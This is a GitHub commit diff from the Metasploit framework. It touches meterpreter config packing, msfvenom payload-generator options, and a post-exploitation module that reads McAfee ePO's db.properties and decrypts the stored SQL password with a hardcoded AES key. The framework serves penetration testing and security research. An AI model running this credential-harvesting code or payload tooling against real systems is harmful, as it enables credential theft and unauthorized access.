Skip to content

Commit 4487369

Browse files
author
HD Moore
committed
Merge branch 'master' into feature/msfvenom-smallest
2 parents 9dd82d9 + 84060bb commit 4487369

File tree

3 files changed

+76
-76
lines changed

3 files changed

+76
-76
lines changed

lib/rex/payloads/meterpreter/config.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def to_str(item, size)
3939
end
4040

4141
def to_wchar_t(item, size)
42-
to_ascii(item, size).unpack("C*").pack("v*")
42+
to_ascii(item, size).unpack('C*').pack('v*')
4343
end
4444

4545
def to_ascii(item, size)
@@ -57,7 +57,7 @@ def session_block(opts)
5757
uuid # the UUID
5858
]
5959

60-
session_data.pack("VVVA*")
60+
session_data.pack('VVVA*')
6161
end
6262

6363
def transport_block(opts)
@@ -117,7 +117,7 @@ def extension_block(ext_name, file_extension)
117117
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
118118
file_extension))
119119

120-
extension_data = [ ext.length, ext ].pack("VA*")
120+
extension_data = [ ext.length, ext ].pack('VA*')
121121
end
122122

123123
def config_block
@@ -143,9 +143,9 @@ def config_block
143143

144144
# terminate the extensions with a 0 size
145145
if is_x86?
146-
config << [0].pack("V")
146+
config << [0].pack('V')
147147
else
148-
config << [0].pack("Q")
148+
config << [0].pack('Q<')
149149
end
150150

151151
# and we're done

modules/post/windows/gather/credentials/epo_sql.rb

Lines changed: 42 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
require 'msf/core'
77
require 'rex'
8-
require "net/dns/resolver"
8+
require 'net/dns/resolver'
99
require 'msf/core/auxiliary/report'
1010

1111
class Metasploit3 < Msf::Post
@@ -30,20 +30,20 @@ def initialize(info={})
3030

3131
def run
3232
# Find out where things are installed
33-
print_status("Finding Tomcat install path...")
34-
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
33+
print_status('Finding Tomcat install path...')
34+
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator',REGISTRY_VIEW_32_BIT)
3535
if subkeys.nil? or subkeys.empty?
36-
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
36+
print_error ('ePO 4.6 Not Installed or No Permissions to RegKey')
3737
return
3838
end
3939
# Get the db.properties file location
40-
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
41-
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
42-
if dbprops_file == nil or dbprops_file == ""
43-
print_error("Could not find db.properties file location")
40+
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
41+
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder',REGISTRY_VIEW_32_BIT)
42+
if dbprops_file == nil or dbprops_file == ''
43+
print_error('Could not find db.properties file location')
4444
else
45-
dbprops_file << "/conf/orion/db.properties";
46-
print_good("Found db.properties location");
45+
dbprops_file << '/conf/orion/db.properties';
46+
print_good('Found db.properties location');
4747
process_config(dbprops_file);
4848
end
4949
end
@@ -57,39 +57,39 @@ def process_config(filename)
5757
line.chomp
5858
line_array = line.split('=')
5959
case line_array[0]
60-
when "db.database.name"
61-
database_name = ""
60+
when 'db.database.name'
61+
database_name = ''
6262
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
63-
when "db.instance.name"
64-
database_instance = ""
63+
when 'db.instance.name'
64+
database_instance = ''
6565
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
66-
when "db.user.domain"
67-
user_domain = ""
66+
when 'db.user.domain'
67+
user_domain = ''
6868
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
69-
when "db.user.name"
70-
user_name = ""
69+
when 'db.user.name'
70+
user_name = ''
7171
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
72-
when "db.port"
73-
port = ""
72+
when 'db.port'
73+
port = ''
7474
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
75-
when "db.user.passwd.encrypted.ex"
75+
when 'db.user.passwd.encrypted.ex'
7676
# ePO 4.6 encrypted password
77-
passwd = ""
77+
passwd = ''
7878
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
79-
passwd.gsub("\\","")
79+
passwd.gsub('\\','')
8080
# Add any Base64 padding that may have been stripped out
81-
passwd << "=" until ( passwd.length % 4 == 0 )
81+
passwd << '=' until ( passwd.length % 4 == 0 )
8282
plaintext_passwd = decrypt46(passwd)
83-
when "db.user.passwd.encrypted"
83+
when 'db.user.passwd.encrypted'
8484
# ePO 4.5 encrypted password - not currently supported, see notes below
85-
passwd = ""
85+
passwd = ''
8686
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
87-
passwd.gsub("\\","")
87+
passwd.gsub('\\','')
8888
# Add any Base64 padding that may have been stripped out
89-
passwd << "=" until ( passwd.length % 4 == 0 )
90-
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
91-
when "db.server.name"
92-
database_server_name = ""
89+
passwd << '=' until ( passwd.length % 4 == 0 )
90+
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
91+
when 'db.server.name'
92+
database_server_name = ''
9393
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
9494
end
9595
end
@@ -98,7 +98,7 @@ def process_config(filename)
9898

9999
result = client.net.resolve.resolve_host(database_server_name)
100100
if result[:ip].nil? or result[:ip].empty?
101-
print_error("Could not determine IP of DB - credentials not added to report database")
101+
print_error('Could not determine IP of DB - credentials not added to report database')
102102
return
103103
end
104104

@@ -111,11 +111,11 @@ def process_config(filename)
111111
print_good("Database IP: #{db_ip}")
112112
end
113113
print_good("Port: #{port}")
114-
if user_domain == nil or user_domain == ""
115-
print_good("Authentication Type: SQL");
114+
if user_domain == nil or user_domain == ''
115+
print_good('Authentication Type: SQL');
116116
full_user = user_name
117117
else
118-
print_good("Authentication Type: Domain");
118+
print_good('Authentication Type: Domain');
119119
print_good("Domain: #{user_domain}");
120120
full_user = "#{user_domain}\\#{user_name}"
121121
end
@@ -127,8 +127,8 @@ def process_config(filename)
127127
service_data = {
128128
address: Rex::Socket.getaddress(db_ip),
129129
port: port,
130-
protocol: "tcp",
131-
service_name: "mssql",
130+
protocol: 'tcp',
131+
service_name: 'mssql',
132132
workspace_id: myworkspace_id
133133
}
134134

@@ -145,21 +145,21 @@ def process_config(filename)
145145

146146
login_data = {
147147
core: credential_core,
148-
access_level: "User",
148+
access_level: 'User',
149149
status: Metasploit::Model::Login::Status::UNTRIED
150150
}
151151

152152
create_credential_login(login_data.merge(service_data))
153-
print_good("Added credentials to report database")
153+
print_good('Added credentials to report database')
154154
else
155-
print_error("Could not determine IP of DB - credentials not added to report database")
155+
print_error('Could not determine IP of DB - credentials not added to report database')
156156
end
157157
end
158158

159159

160160
def decrypt46(encoded)
161161
encrypted_data = Rex::Text.decode_base64(encoded)
162-
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
162+
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB')
163163
aes.padding = 0
164164
aes.decrypt
165165
# Private key extracted from ePO 4.6.0 Build 1029
@@ -172,6 +172,5 @@ def decrypt46(encoded)
172172
password.gsub!(/[^[:print:]]/,'')
173173
return password
174174
end
175-
176-
177175
end
176+

msfvenom

Lines changed: 29 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -58,78 +58,88 @@ require 'msf/core/payload_generator'
5858
opt.separator('')
5959
opt.separator('Options:')
6060

61-
opt.on('-p', '--payload <payload>', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
61+
opt.on('-p', '--payload <payload>', String,
62+
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
6263
if p == '-'
6364
opts[:payload] = 'stdin'
6465
else
6566
opts[:payload] = p
6667
end
6768
end
6869

69-
opt.on('-l', '--list [module_type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
70+
opt.on('--payload-options', "List the payload's standard options") do
71+
opts[:list_options] = true
72+
end
73+
74+
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
7075
if l.nil? or l.empty?
7176
l = ["all"]
7277
end
7378
opts[:list] = l
7479
end
7580

76-
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
81+
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
7782
opts[:nops] = n.to_i
7883
end
7984

80-
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
85+
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
8186
opts[:format] = f
8287
end
8388

84-
opt.on('-e', '--encoder [encoder]', String, 'The encoder to use') do |e|
89+
opt.on('--help-formats', String, "List available formats") do
90+
init_framework(:module_types => [])
91+
msg = "Executable formats\n" +
92+
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
93+
"Transform formats\n" +
94+
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
95+
raise UsageError, msg
96+
end
97+
98+
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
8599
opts[:encoder] = e
86100
end
87101

88-
opt.on('-a', '--arch <architecture>', String, 'The architecture to use') do |a|
102+
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
89103
opts[:arch] = a
90104
end
91105

92-
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
106+
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
93107
opts[:platform] = l
94108
end
95109

96-
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
110+
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
97111
opts[:space] = s
98112
end
99113

100-
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
114+
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
101115
opts[:encoder_space] = s
102116
end
103117

104-
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
118+
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
105119
opts[:badchars] = Rex::Text.hex_to_raw(b)
106120
end
107121

108-
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
122+
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
109123
opts[:iterations] = i
110124
end
111125

112-
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
126+
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
113127
opts[:add_code] = x
114128
end
115129

116-
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
130+
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
117131
opts[:template] = x
118132
end
119133

120134
opt.on('-k', '--keep', 'Preserve the template behavior and inject the payload as a new thread') do
121135
opts[:keep] = true
122136
end
123137

124-
opt.on('--payload-options', "List the payload's standard options") do
125-
opts[:list_options] = true
126-
end
127-
128-
opt.on('-o', '--out <path>', 'Save the payload') do |x|
138+
opt.on('-o', '--out <path>', 'Save the payload') do |x|
129139
opts[:out] = x
130140
end
131141

132-
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
142+
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
133143
opts[:var_name] = x
134144
end
135145

@@ -141,15 +151,6 @@ require 'msf/core/payload_generator'
141151
raise UsageError, "#{opt}"
142152
end
143153

144-
opt.on_tail('--help-formats', String, "List available formats") do
145-
init_framework(:module_types => [])
146-
msg = "Executable formats\n" +
147-
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
148-
"Transform formats\n" +
149-
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
150-
raise UsageError, msg
151-
end
152-
153154
begin
154155
opt.parse!(args)
155156
rescue OptionParser::InvalidOption => e

0 commit comments

Comments
 (0)